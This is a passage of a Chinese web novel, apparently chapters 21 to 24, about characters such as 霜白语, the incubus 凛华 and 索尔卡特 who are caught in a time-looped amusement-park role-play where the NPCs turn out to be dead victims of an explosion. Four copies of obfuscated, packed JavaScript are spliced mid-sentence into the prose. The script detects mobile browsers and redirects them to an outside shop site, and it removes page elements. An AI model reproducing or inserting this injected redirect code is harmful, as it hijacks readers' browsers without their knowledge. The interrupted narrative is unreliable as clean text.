她再生气，也就只能像现在这样无能狂怒，对凛华来说不痛不痒的，没有任何威胁性，反倒是霜白语，他得时刻提防。 对方跟索尔卡特联手是不争的事实，说不定真藏着什么他不知道的手段。 诶，想做掉彼此这件事，难道不是刚见面就互相知晓了的吗？ 只不过霜白语从来不屑于把这搬到明面上来说，为配合他的步调，凛华也假装不知道，一直在不同的人背后拱火，这次眼看着就要成功了，偏偏又差一点。 现在被捅到明面上，凛华突然没兴致继续玩了，因为这样缺少艺术感。仔细想想这次没成功也挺好，他好不容易找到个耐玩的，太快结束他大概会有挺长一段时间的适应期。 “啧。” 索尔卡特很不爽地出声，打断了凛华打量霜白语的眼神，她莫名很不喜欢那种眼神，像在衡量一件物品是否具有价值，能拥有摆在橱窗里的机会。 但明明对方怎样跟她毫无关系，她为什么会有这样的感觉，就好像她曾经也被如此对待过，将情绪移植到了霜白语身上，才有了那种现在的她无论如何也无法理解的共情。 索尔卡特甩头将其抛诸脑后，过去发生的事无可追回，她需要着眼当下，尤其是这两个人前后不同程度利用她这件事。 “确实现在不能把你们怎么样，在你们摸清了规则后，要想利用重置时间改变你们记忆也会变得更困难，但只要你们一直被困在这里，我依旧能寻到找回场子的方法，到时候让你们百倍千倍地还回来。” 出现了，角色被逼急后的经典发言。 但索尔卡特说的是事实，霜白语只清楚现在的时间轴不等于剧情中的时间线，要定位到具体的点，他缺少将两者串联起来的关键信息。 这个人物本说实话，没有想象中那么严谨的主线剧情，有且只有双胞胎姐妹这点信息，无法做进一步的推论。 线索收集更加无从下手，先前提到过，这个游乐场明面上是一个类开放的世界，但不会像同类游戏那样出现发布任务的NPC。索尔卡特和那个少年只会带他们绕圈，起不到任何推动剧情的作用。 只能寄希望于哲平能带来哪怕一点新消息了。 被念叨的眼镜青年打了个喷嚏，他坐在公园的长椅上，郁闷地摸了摸自己的鼻子。 远处的喷泉正放着舒缓的音乐，水流伴着背景音一个蓄力猛冲上半空，给这处时刻雾蒙蒙的地方增添了不可多得的一点动态。 周围走动的人始终维持在不多不少刚刚好的数量，这是相对于哲平而言的。 如果人太多，他故事的影响范围有限，要是人太少，会让听众在短时间内承受过多，以致会反噬给说故事的哲平。 为了控制这点变量，他还有一些前期准备工作要做，当然设备之类的可以捡路边艺术家们现成的装置，他说的准备工作一方面说尽可能严谨地控制人数，另一方面则是给言语赋灵。 要连贯地讲完一个完整的故事，过程中不可以有任何停顿。葵负责外力的干扰，哲平确认故事的起承转合。 他做了个深呼吸，在几分钟前他给霜白语发去了消息，问对方要不要过来，不过目前来看这消息大概率被无视了。 霜白语确实收到了来自哲平的消息，但他身后跟着个烦人精，并不打算冒这个险。 按照此前发展的先后顺序，霜白语是在确定了索尔卡特为他遮掩行踪后才对哲平他们吐露的计划，但保险起见，还是先不让双方见面比较好。 凛华目前的烦人程度在于不干涉，单纯跟着恶心他。霜白语实在被跟烦了对他出手，对方也不紧不慢地见招拆招，还会假惺惺地问他需不需要帮忙。 “你很烦！” “我知道啊，霜习老师，我就是故意的。”凛华沿用着之前的那个称呼，轻松接下了霜白语劈过来的手刀，他抓着对方的胳膊一把将人扯近了。 相较于恶魔偏高像在发烧的体温，霜白语显得有些冰手了，不过这不妨碍凛华跟他贴着。 “而且你不也明显在放任吗？” 霜白语皱眉，嫌弃地直视凛华，“你说话太油腻了，不会正常讲话就闭嘴，没人当你说哑巴，别一天天地昭显存在感。” 凛华只是静静地看着霜白语没说话，两人维持着这个变扭的姿势有那么一会，而后像察觉到了什么，同时朝着两个方向迅速撤退。 几乎就卡着他们各自退开的点，原本站立的位置垂下了一把锋利的开刃短匕首，削掉半边的树叶缓了半拍再悠悠扬扬地掉下来。 握着匕首另一端的是少年人骨架大小的一只手，手背上浮现着经络分明的痕迹。若是对方有心且动作快，足以在出手瞬间一刺一划，正中红心。 “啊……” 懒洋洋的声线透着不加掩饰的遗憾，埃斯特倒挂在树枝上，用脚背勾着枝桠，稳当地悬垂在空中，“还以为这次绝对会成功的。” 他单手托着下巴做思考状，手腕轻巧地一个施力，匕首从紧握的姿势变成了两根手指捏着刀柄。 “真奇怪啊，明明我很好地隐藏了气息，你也就算了，怎么连你也能发现。” 埃斯特的目光先挪向霜白语，再缓缓转向左边，眉头紧皱地看着凛华。 “要知道在那以前我出手从没失利过，但算上之前的那次，同一个人这里碰壁两次，连看起来很好骗的新人也躲开了。” 他自言自语地严肃思考这个问题，“好奇怪啊。” 倒立的姿势丝毫没给他带来脑充血的生理反应，他完全像是如履平地似的倒挂在树上。 “说不定你也有什么百分百被躲避的负面效果，下次出门前记得看眼黄历吧。” 霜白语表面这么说着，实际他在想别的事情。 他原本以为少年是凛华在这个世界的眼线。魅魔个人似乎尤其钟爱外表年龄瞧着没那么成熟的类型，自己最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405199|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常化形的壳子也差不多是这样子的。 但刚刚他看得很清楚，对方的匕首指向的确实是他跟凛华两个人。 “你说得有道理。” 埃斯特从树上一跃而下，顶着几片树叶还是那副没睡醒的样子，往树干上一靠，眯起眼像是要睡着一样地将视线从霜白语这挪到凛华那，然后他确实困极了地又打了个哈欠。 哈欠打到一半非要开口说话，用挂着一米米泪水的眼角瞥人动向。 “你完全不担心那一头的两个临时队友的吗？” 这话是对霜白语说的。 青年切切实实一愣。 埃斯特哈欠连天，但还是坚持给人提供思路，“你们最开始组队的总共有六个人对吧，虽然不知道中途发生了什么，让你们分成了两队。 另外两人的进度虽然慢了些，但实际还活着哦，并且因为思路奇特，在某方面而言得到了比你们更多的信息。” 埃斯特动作娴熟地把玩着手中的匕首。 “要知道在一个没有时间限制却固定有个目标的角色本里，触发支线任务偶尔也会有意外收获。” “唔。” 少年微微睁大了始终困倦的双眼，下意识发出了个困惑的单音节。 不得不说霜白语的动作确实快，他原本以为对方是对危机感知很敏锐的类型，所以能接连两次都不出错，不过事实证明好像也不完全是。 虽然他是很困啦，但他的动态视力可是很好的，埃斯特确信霜白语是从他面前瞬间消失的。 “你怎么不跟这人一起走？”他问凛华。 魅魔点头，问了个埃斯特意料之外的问题，“你刚在上面听很久的对吧。” 在埃斯特不明所以地承认后，他真情流露地询问：“那你觉得他说得对还是不对，你也这么想的吗？” 埃斯特：“？” 还是他：“你说话就说话，不要对我的脑子动手动脚，鸡皮疙瘩都起来了，怪恶心的。” 凛华诧异，他挺意外自己的精神控制能力这段时间好像频频失效，按理来说，他的虚弱期过度得差不多了，怎么一个两个都有免疫力，衬显得他很像个菜鸡。 “还有没错，他说得是对的，你不管开不开口，都让人觉得很不舒坦。” 埃斯特说完这句话，绕过树干，直接一个隐身走人了。 哈。 难道是他在外面针对霜白语太明显了，现在因为他也进来了这里，霜白语身上的仇恨值被自然顺位继承到他这里了？ 这算什么？ 霜白语暂时顾及不上凛华会不会跟过来，他现在感觉很不对劲，似乎在无形中有什么因果根据他做出的选择悄无声息地发生了变化。 他并不怀疑埃斯特的话，那个临时队伍里，如音和她男友一开始就跟他不对付。 在葵提及这两个人不接受他们推出的正确结论时，霜白语自动把他们归类到了不重要可忽略的角色上，现在却被告知威胁主要来自于这两个人。 ——砰。 沉闷的响声突兀炸开在霜白语耳畔，他停下了去往音乐喷泉所在地的脚步。 雪青色的双眸中倒影出由爆炸带来的浓烟和火焰簇拥而成的球状物。 22. 主动违规 如果这时有人从空中俯瞰，会发现爆炸生成的热浪和剧烈冲击都没有影响到广场以外的区域分毫。 不对，哪里都不对劲。 霜白语目前的站位，再向前一步就会踏进广场范围。但即使是这么近的距离，他都没感觉任何爆炸后大量释放的灼热。 像是隔着无形的屏障，只能看到现象，却切身感知不到。仿佛他跟面前的景象根本不在一个空间。 浓烟还未散去，无法判断广场上具体的情况，听不见嘈杂的人声也没有任何惊叫，如同默片在眼前逐帧推进。 霜白语的拇指指腹来回按压了一遍手指，他在想面前的这一切要真是在不知觉间被替换成了时间夹缝，那这场爆炸会是‘现在’节点的之前还是之后？ 最快速的实验方法是他直接进入到屏障那一边的空间。 打定主意的青年朝边上踏过一步，也就是这么不起眼的一小步，他的身形微不可查的一晃，突然面色惨白，豆大的汗珠于眨眼的刹那滚落脸颊。 霜白语感觉眼前阵阵发黑，过分真实的经历让他心脏生出细密掩面延绵的刺痛，哪怕他知道刚在瞬间出现在脑海中的场景并非完完本本的现实，本能的反应却依旧短暂盖过了理智。 霜白语敛下的长睫被汗水浸透，坠挂而下的液体连带着让他眼角微微湿润，隔了许久他才渐渐平复这混乱带来的起伏心绪。 他晃了晃脑袋，抬手擦去了脸上沾着的汗液。他也逐渐反应过来刚才发生的事。 不慎踏入时间夹缝被片成了数千片，又用了同等的时间恢复原状，仅仅因为他现在身处的世界并非真正的现实，单就理论上说，这样的操作可行。 但是，这也意味着造成的伤害直击灵魂。 霜白语目前还没完全从那种异样中彻底恢复，他脑子乱糟糟的，根本不能静下心来思考下一步该怎么走，反倒先在过分悬殊的差异前生出一股绵长的后怕。 冷静，要冷静，别被牵着走。先想是从哪里开始察觉到的异样。 面前的这场爆炸和他在两个夹层的话，先前哲平的消息不会传递到他这里。就算是埃斯特所谓的如音他们发现了额外的信息，由此促成的事件也不该脱离规则本身。 已经形成的规则对基于此展开的一切行动都有等级优先度，必须遵循它，违反就会面临强制修正。 但这个说法也不绝对，要是后续的某件事结成的果刚好贴合了规则最初的因，作为补充说明会构成一个闭合的圈。 在来的路上，因为埃斯特的提醒先入为主，霜白语一直以为是如音要对哲平不利，或许是发现的新线索让他们改变了想法，对着临时队友开刀。 以至于他完全忽略了另一种可能，哲平亲手促成了当前的结果。言语有灵，由哲平说出的话会在一定程度上影响到其他人，他编的故事会不会刚好巧合地点出了时间的真相。 ……当然更大的可能是他以上的推断全都是假的，是非常儿戏的说法，实际真正擅长讲故事的人选该是他才对。 眼前所见的画面发生了变化，浓烟散去，局部降下的雨水浇灭了燃烧着的火焰，狼藉一片的广场只余下一缕缕向上飘着的烟气，没有任何人的痕迹存在。 霜白语得以再次迈出去前，他的手被谁拉住了，从后方传来的阻力不容忽视，硬是把他从魔怔般的状态中拉扯出来。 “你疯了啊。” 有点意外竟然是凛华。 他一拉一拽地重新把霜白语拖到自己面前。青年的手腕被凛华掌在手中，能感受到薄薄一层皮肤下平缓跳动的脉搏。 凛华进来这里用的不是虚弱期的模样，在外面是受到诸多约束没法维持成年体，但在这里，相对没那么束手束脚。 身高上存在的差距明显，现在的自己对霜白语来说应该不容忽视才对，怎么会这么淡定，再怎么说也不该是淡定吧。 威胁性、压迫感！ 然而实际上，对方好似浑不在意目前彼此的姿势，也就只在被拉住瞬间看清拉他的是谁后，短暂地闪过一丝诧异。 凛华出离愤怒，松开了扯着霜白语的手。 就在这时，一直拿他当空气的青年终于正眼瞧他。 “还是现在这样看起来正常些。” 霜白语很浅地勾着嘴角，哂笑道，“你刚才故意拉着我，也并不是真心想拉着，做出和平时截然相反的举止反而能牵起人警惕心。” “你看准了这点，利用我刚才本就有些应激的状态，找准机会动手脚，能更好地提高成功率——关于我说不定真会死了这件事的成功率。” 凛华收敛起了面上真情实感的担忧，重新挂上捉弄人的坏心眼。 他笑着擦过霜白语的眼角，指尖沾到了一点湿意，“看破不说破么，你这样显得多没意思。” “你这话本身说得就很无趣，我为什么要让你觉得这有意思，是还得夸夸你刚做得好吗？从我被卷进时间夹缝的那一刻，你便已经偷偷地将精神控制的网铺开到了最大值，加深了对死亡的恐惧给我带来的影响力。” “嗯。”凛华很爽快地承认了，他的手指刮过霜白语的脸颊，绕去了后脑的位置，将对方再拉进了一些，近到能在对方的眼中看清自己的倒影。 “那又能改变什么，”凛华凑到霜白语的耳边轻声地进行着自问自答，“显然什么都不能。” 霜白语忍着没躲开，也不知道对方最近抽什么风，动手动脚的毛病改都改不了，以前一分钟八百个小动作全点在浮夸表演上，现在浮夸依旧在，表演实践的对象却成了他。 但显然每次都躲避会显得他很抵触——的确是事实——但想到会被对方在下一次变本加厉地应对回来，霜白语觉得那还是可以忍一忍当下这种程度的。 他将注意重新回到对话本身，“毕竟你都竭力阻止了，更让我好奇时间的那一头到底隐藏着怎样的惊天大秘密。” 在凛华将手掌挪下后心的那一瞬，霜白语终于忍无可忍地隔开了他的触碰。无他，这个位置太适合被捅刀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405200|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，如果是霜白语，他决定不会放弃这个机会的。 隔开魅魔的手掌，退离他半圈着自己的怀抱。霜白语后退着走过两三步，在正常的社交距离上顿住了脚步。 “话虽如此，想要跨过那一层会招来的后果你也不是没体验过。虽然我确实动了手脚，但本身也是因为跨越时空夹缝这事不符合常态。” “这点就不劳您费心了。”霜白语故技重施地往兜里揣了点什么，而后突然欺身向前，一把拽住了凛华的手指。 在对方略有些错愕地看向他时，霜白语笑起来，背对着重新出现的索尔卡特，很有礼貌地说出了他当下真实的想法。 “你好，关于我们要找的八、九岁的双胞胎姐妹的其中一员便是你吧。” 凛华持续愕然，他着实没想过对方这么狠。 随着霜白语话音落下，索尔卡特的身形在少女形态和更小一些的年龄外观间片闪着来回切换，从到来时的熟悉白毛加宽大裙裤的组合装，最终定格成了顶着逆重力双马尾形态的女孩子。 “你说得没错，很高兴你这么认为。” 索尔卡特由衷地感慨，扬起的手轻轻打了个响指，时间顷刻逆转。 大意了。 霜白语扶着仿佛要炸开来的头坐起身，还以为在知晓规则原理的情况下主动违规会有所不同，实际疼痛程度相当。 大环境中的喧闹声被霜白语自动屏蔽了，他微眯起双眼，碎片式的画面以残片的形式短暂地闪过他脑海。 隐约似乎有什么爆炸产生，陷在火海中的那两个人……似乎是索尔卡特和她的双胞胎姐妹。 嘶。 霜白语倒抽一口冷气，眼球倏然炸开针刺般的疼痛，他不舒服地闭起眼，生理泪水应激淌过脸颊。 “嘶——” 抽气声没有消失而是转移到了另一个人身上。 哲平捂住自己的胸口，难以接受和愧疚感同时占据他左右两半张脸。 他回头看了眼十分淡定的葵，指指花坛上坐着的落泪青年，用一种绝对是他看错了的眼神再次望过去，和重新睁开眼的霜白语在空中相撞了目光。 “天呐，虽然你确实来晚了一点，但我们并没有任何责怪你的意思，你也不用偷偷躲起来掉小珍珠吧！嘶……葵你怎么又打我！” 哲平护住后脑勺蹲向地面，缓过被锤的那一下后，他鸭子步地挪动到霜白语跟前，小心翼翼地打量对方神色，然后非常犹豫地双手倒转，拇指指腹互抵、两根食指的第一节指节碰在一起比了个心 霜白语：“？” 霜白语：“被锤多了你终于傻了？” “看不出我这是在关心你！”哲平站起身，自来熟地往霜白语边上空位一坐。 “不过刚隐约听见你说什么爆炸的，之前不是都否决这个想法了，别在我不当真的时候你又悄悄地把事提上行程了。” 霜白语已经缓过了眼球遭受的那一阵刺痛，他正揩着眼角的湿痕，闻言很短暂的停顿了下。 23. 假定推论 该死。这个投递方式不能体面点吗？ 凛华将自己从倒栽葱的难堪中拯救出来，甩了甩头发丝里夹着的树叶。 合理怀疑对方能控制落点，才会在最后关头扯上他一起。现在这里除了他并没有霜白语的身影，倒是发现了暗中观察的几个人。 凛华挑挑眉，自己觉得现眼是一回事，有观众就是另外一码事了。 “两位看了这么久的戏，跟我说说观后感呗。”他看向灌木丛的另一边，那里空空如也。 人虽然可以在视觉上造成欺骗，却无法彻底地掩藏气息。在感知更为敏锐的非人生物面前，他们完全等同于无效隐藏。 不过那里的两人似乎暂时没有想现身的意思。也行吧，反正凛华不着急这一时，他看了眼周围景象，确定还在游乐场里，只是被分到了更适合小孩子游玩的项目区。 凛华没看过场区地图，好在方向感尚可，只要找到摩天轮，能通过一条直线的视角差找到喷泉在的广场。 灌木丛那头传来窸窸窣窣的声音，藏身其中的两人目送着凛华的身影远去，他们撤掉了遮盖身形的道具，是很久以前跟霜白语他们分开行动的如音和她男友。 收到葵所谓的双胞胎姐妹并非只有八、九岁说法的短信后，他们没有接受这点，不过也做了一番调查，意外发现临时队友确实与众不同。 起初如音和对象都觉得那个叫霜羽的青年违和，一路上专门盯着他行动，确实验证了此人特别招新出场的剧本角色的仇恨值，然而这在后来获取的情报中反而成了不重要的信息。 真正有问题的人是哲平。 眼镜青年始终和他的队友一起行动，要对他下手并不是一件容易的事，所以这一路如音两人都只是藏身暗处，像现在这样，等待着合适的时机，本来就快等到了的，但很突然地他们在一个呼吸的起落间重新回到了很久前蹲守的位置。 连姿势和谈话的内容都一致，一切照常的话，很快埃斯特就会带着后续行动的道具前来，他们只需要等待就行。 只是当你觉得一件事百分百会发生时，总会有预料外的事发生。 一个青年很突兀地出现在他们视野范围内，好在当时他们的位置相对隐蔽，如音男友反应很快地用道具屏蔽掉了他人看过来的视线，谁成想对方冷不丁的出声，并且精准定位到了他们的位置。 这么晚才出现的话，对方应该只是剧本里的一个边缘角色，或许只是设定好的程序，他们搭话反而会暴露，但只要无视就可以安然度过。 后来的走向确实和他们想的一样，青年很快转移了注意，朝一个相当明确的方向去了。 “嗨。” “！？” 如音和她男友僵立在原地，各自感觉到一边肩膀落下的重量。冷汗刷的一下顺着后脊背淌下，在那之前，他们没有感觉到任何人的靠近，对方简直就像是凭空出现，瞬间移动到身后的。 “别这么见外嘛，刚才我问你们看得尽不尽兴，只得到了冷漠对待，左思右想半天，我哪能受这委屈。既然当面不好回答，那从背面总可以了吧，看我多贴心地为你们考虑。” 是刚才他们想的那个人，行迹近乎诡谲，全然不见他倒栽进树丛里的狼狈。拥有这样身手的会只是一个游离在主线剧情外的边缘角色吗？ 如音男友吞咽了一口唾沫，他艰涩地开口，“……我们有话好好说。” 让他们意外的是，对方似乎还真是能好好沟通的角色。 “别紧张，我又不吃人。”为了表示自己的无害，凛华松开搭在人肩膀上的手，往后退开几步。 “现在可以跟我说感想了吗？” 如音表情扭曲了一瞬，忍不住连珠炮弹似的默默吐槽——大哥你到底为啥这么在意？这是过不去这话题了吗？？剧本角色不都应该带对话框跳过功能的吗！？ 但实际上的她，“对你之前的遭遇感到抱歉？” “没关系，我一点也不在意，多亏了你这话让我好受一些了。” 凛华很顺口地接了，没有任何因果关系地说出了下一句话，“所以为了表达感谢，你们在计划的事我可以帮上忙哦。” 如音脸色一变，“我们不清楚你在说什么。” “确定要这么隐瞒吗？” 这句话勾起了两人不好的回忆，几乎在凛华能说下去前，他们反应一致地阻止了他。 凛华满意地弯起眼角，“对了，我们刚才聊到哪里了，哲平是吗？” 正要点头肯定的如音一愣，猛地抬首看向对方，这一下动作太猛，脖子被扭到的刺痛感袭来，但如音根本顾及不上。 不对！他们没有跟眼前这人提到过这个名字，甚至于发现哲平才是那个有问题的队友也是不久前的事。这人怎么会精准地知晓这点。 或许心境发生改变，对同一件事分阶段再看时会生出截然不同的两种观感。 现在再看眼前笑得好整以暇的青年，他面上表现得越无害，搭配此前的发言越显得诡异。加上他刚才瞬间带给他们压迫感的行为，对方……真得是人吗？ “怎么突然又这么警惕地看我，”凛华往前挪动了一步，面前的两个人应激后退了一大步，他佯作没看到地继续问：“不说说看那位与众不同的哲平吗？” 哲平伸手在霜白语面前上下晃了晃，他歪着脑袋凑近了看人。 “喂——怎么说着说着你就开始走神了？？” 霜白语面无表情地抓住了哲平的手掌，微微发散的瞳仁重新聚焦，他凝视着近在咫尺的人，在脑海中迅速过了一遍认识到现在对方所表现出的模样。 除了脑回路清奇外没有任何不对。 “你一定不知道，你现在看人的眼神很危险，有种时刻要去刀个人的即视感。”哲平任由霜羽抓着他的手——毕竟对方也没怎么用力——以相对别扭的姿势站立着。 霜白语的视线落在虚空一点，像是透过眼前的景象看往过去，那之后他淡淡地开口对哲平说：“还记得先前我说的要你随便以什么主题为蓝本讲故事吗？” 哲平不明所以但还是点点头。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405201|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来就在着手这事，没及时收到霜白语消息时，他就想先开始的，但冥冥之中好像有什么存在莫名阻挠着他。 一有想继续的意图，便会出现各种情况打断他，直到火光……唔，哲平脑海空白了一瞬，忘记了前一秒思索的事，恰好霜羽叙述的声音填充了这点空白，他也就没细究，专心听着对方讲话。 “现在我想给它定一个主题，故事整体还是围绕着游乐场平常的一天，一对八、九岁的双胞胎姐妹来这里游玩放松心情，在过程中结识了一名青年。” 说到这里时，霜白语略微停顿，将目光从半空中收回重新落到哲平身上，他认真地看着对方，接着往下说：“整体是以倒叙的方式讲述的故事，因为在正序时间轴展开的时候，他们已经死了，双胞胎姐妹，青年，这里的很多人都是如此，共同死于一场意外事故。你死了——” 怎，怎么就他死了？？ 哲平狐疑地瞅着面前不像在开玩笑的青年，试图从对方脸上找出一丝他又在恶作剧的神情，但他很显然没有成功。 甚至彼此对视时，哲平能清晰看准对方眸中倒映的自己，一错不错的，这不是人在底气不足时会有的反应。 他试着代入霜羽口中的故事，恍惚间，眼前的人、物和风景在飞快地褪色，从斑斓的色彩褪成了黑白单调的两色，像是一张老旧的照片。 照片的边缘染上点点橙色，伴着燃起的熊熊火焰，迅速蚕食掉的画面化作灰烬落下。 “那是……”哲平仿佛陷入回忆前惯有的卡顿，但很快语气变得顺畅起来，“那是一八三一年的夏天。” 霜白语放下握着哲平的手，默默退去了一边。后者对此毫无所觉，只一味地沉浸在事先拟好的故事中，他正缓慢而清晰地诉说着。 渐渐地有路过的行人停下脚步，像是收到了某种牵引，犹如觅食的鸟雀般聚拢到广场的音乐喷泉边，这期间没有人开口说话，也没有人出声打断，他们围成了一个不算规整的半圆形，拱着中心处正在讲述的青年。 “我还没到毕业的年龄，苦于论文导师以及各方的压力，机缘巧合下得知肯尼斯这个小镇。虽然它常年被雾蒙蒙的天气笼罩，但每一个去过当地游乐场的人都对其赞不绝口，我是个不能免俗的普通人。” 哪怕直到这里，哲平在讲的还是关于自己的信息，周围的人群依旧很安静。 霜白语并不仅仅将重心留在人群中的哲平上，他还时刻观察着周边的环境和其他人的动向。 “游玩的体验确实如同大家说的那样，身心愉悦，此前的压在心口的郁结一扫而空。虽然不舍，但快乐的时间总显得短暂，我还是得回归到现实生活中来。那时的我并不知晓，即将发生的意外会彻底的改变这一切。” “突如其来的爆炸发生时，很多人都没反应过来，大地在震颤，在燃烧。人群乱作一团，尖叫声不绝于耳，但渐渐的，嘈杂的声音在减弱。” “等我重新拥有意识，我正拿着一张角色扮演剧本的入场票，这是我在游乐场体验的第一个项目。” 24. 索尔卡特 哲平述说的口吻太平淡，和他话语中传达的意思形成了鲜明的反差。 旁听着的霜白语不可控地升腾起毛骨悚然感，他想起了刚有意识进到游乐场那会，在大脑短暂空白一瞬时，他也正经历着同样的事。 “一切都像最初的那样，但当时的我好像一个囿困在梦中的人，即使知晓眼前的并非真实，也无法从这场梦境中醒来。” 围观的人表情发生了微末的变化，只是由于一致变更的数量太多，将这点细微的统一无限制地放大。 霜白语面色紧跟着一变。 糟糕，得阻止哲平继续说下去。 他这想法还没付诸实践，围观人群中的一人突然异动。那人做了个攻击的起手式动作，恰好横在霜白语面前，原本趋向呆板的脸上眼珠一转，精准地望向他。 霜白语分出精力看向人群中的哲平，刚异动的人这么一拦，仿佛促成了什么信号，其余的不约而同往前了一步，离正中间的还在讲述的眼镜青年又近了一步。 他的视线被攒动的人头遮挡去了大半，情急之下，霜白语直接开口喊出对方名字。 下一瞬，所有围绕着哲平的人前进的脚步一滞，齐刷刷转头看向他。 霜白语骤然接受这么多的注目礼，差点一口气没上来。 “你不该打断他的。” 拦住霜白语的这人用近乎叹息的语气开口，对方没等他的反应，接着说下去，“只要你不打断，再过不久哲平就会说出这里的真实的时间轴，相应的，被约束在这个游乐场的NPC会想起他们已经死亡的现实，被戳破身份的人群会暴怒。” “哲平会被瞬间撕碎……” 他的音调拔高，尾音甚至带上了一丝兴奋的颤意。但紧接着，他的语气骤然一冷，声线在少年音和孩童的清澈间来回更替。 “你出声了，为什么要擅自终止这一切呢？拯救一个已经死去的人对你而言很有成就感吗？” 对方的声线彻底变成了小孩子的，即使顶着陌生的皮囊，霜白语还是靠声音认出了对方。 “不过没关系，就由你来替代哲平承受这一切，我们很高兴在这个沉寂多年的时间夹缝里迎来新的成员。” 霜白语耳边回响着她逐渐激昂的声音，顶着别的壳子现身的索尔卡特眼底是掩盖不住的浓郁笑意，她笃定了他这次束手无策，这是无解的一个局面。 从霜白语决定让哲平开始讲故事时，被吸引过来的人们逐渐复苏的仇恨值不会消失，中止进度只会让仇恨值转移。而在角色扮演的剧本里，玩家一方面不会被约束主观能动性，但另一方面他们在剧情步入正轨却强行改变时也是最脆弱的。 “放心，我不会让他们瞬间撕碎你的。” 索尔卡特回归了原本的样貌，她把落下的一缕发丝别到了耳朵后，也因此露出了脸上半边烧伤的痕迹。 “你利用了我，现在碰巧落到了我手里，总得让我收取一点利息的。要是我满意了，会让他们给你留个全尸的。” 霜白语轻笑，他看起来比刚才冷静许多。 不久前他收回来长久放在人群包围圈中、放在眼镜青年身上的视线，由于他打断了哲平的故事讲述，强行阻断了剧情线的自发推进，对方现在虽然停下了，但脸上表情一片空白。 显然他还陷在当时的情绪中。 索尔卡特说得没错，无论霜白语是否可以结束这一切，都无法救回哲平，救不回一个原本已经死去，却又在时间夹缝中重新活过来的人。 “但有一点你说得不对。” . 凛华围猎似的绕着不远处的两个人走，把他们圈在一定范围之中。这两人显然也清楚，虽然他只有一个，但刚才已经演示过一遍如何瞬间近身开大，他们比谁都惜命，不会在这时候犯蠢。 “一般知道秘密的人都活不了太久。”凛华以固定的某种步调继续绕圈，又逐渐缩短着和如音他们的间隔，边说边挂着漫不经心的笑。 他的眉眼在此刻是舒展的，与面上的笑容相称，在对方的心理压力快达到阈值的那刻，他话锋一转，“不过我是个好人哦。” 哒哒的踱步声并没有停止，他这么绕圈走，如音他们的目光会忍不住追随着他，连眨眼的频次都减到了最少。 “你们这么紧张做什么，衬得我很像是威胁人的恶棍。” 凛华终于停下了脚步，他站定在两人面前，略微前倾身体，“刚我的提议是认真的，你们的目标在哲平，刚好和我的目标差不多在一起，哦这么说起来，我的目标原本还是你们先盯上的。” 当然他说这话不是打算找茬的意思，凛华没有那种霜白语必须只能由自己解决的病态执念。不然当时就不至于反过来帮助游香了。 只是他挑明的时机把握不太好，显然如音和她男友误解了。 咕咚。 响亮得有些过了的吞咽声炸开在如音耳畔。 确实不可否认，他们曾经想对霜羽下手。按照霜羽格外吸引剧本角色仇恨值这点互推，面前这人果然还是没有跳脱剧本，只是由于某些不知名变化，想要换种方式接近霜羽以达成自己的目的。 “既然目标一致，我们也算暂时结为盟友了，可以请你稍微往后退开些许吗？” 如音试探地跟人商量。 非人的压迫感依旧存在，即使面前青年表现得很亲切无害，刚才的记忆没那么快从他们脑子里一键清除。 凛华嗯了声，依言站直了身。 “现在可以说说你们的打算了吗？” 不，实际不能明说。 如音稍微眯起眼，按照青年是剧本角色推断，他们并不清楚对方的故事线，不知道在对方的剧情里他们扮演着怎样的角色。而他们需要完成故事线结束这次角色扮演，两者在本质上相冲突。 可是迫于武力值又不得不合作。 那不如省略前因后果直接说结论。如音打定主意，和她男友对视了一眼，将之后的计划挑拣着跟人说了。 . “或者该说你隐瞒了没讲。” 霜白语皱了一下眉，似乎觉得这表述依旧不太准确，他抬起手，手指自然放松地曲着。 像乐师起调前靠肢体语言调节找感觉的手势之后，他重新纠正了自己的措辞，“其实在一开始你就表明了自己的身份。” “嗯哼？”索尔卡特耐心地听他讲，她能理解在死亡降临前，所有人都不可避免地想要拖延时间的心理，毕竟要跨过的是生与死的界限，还是被迫跨过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405202|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 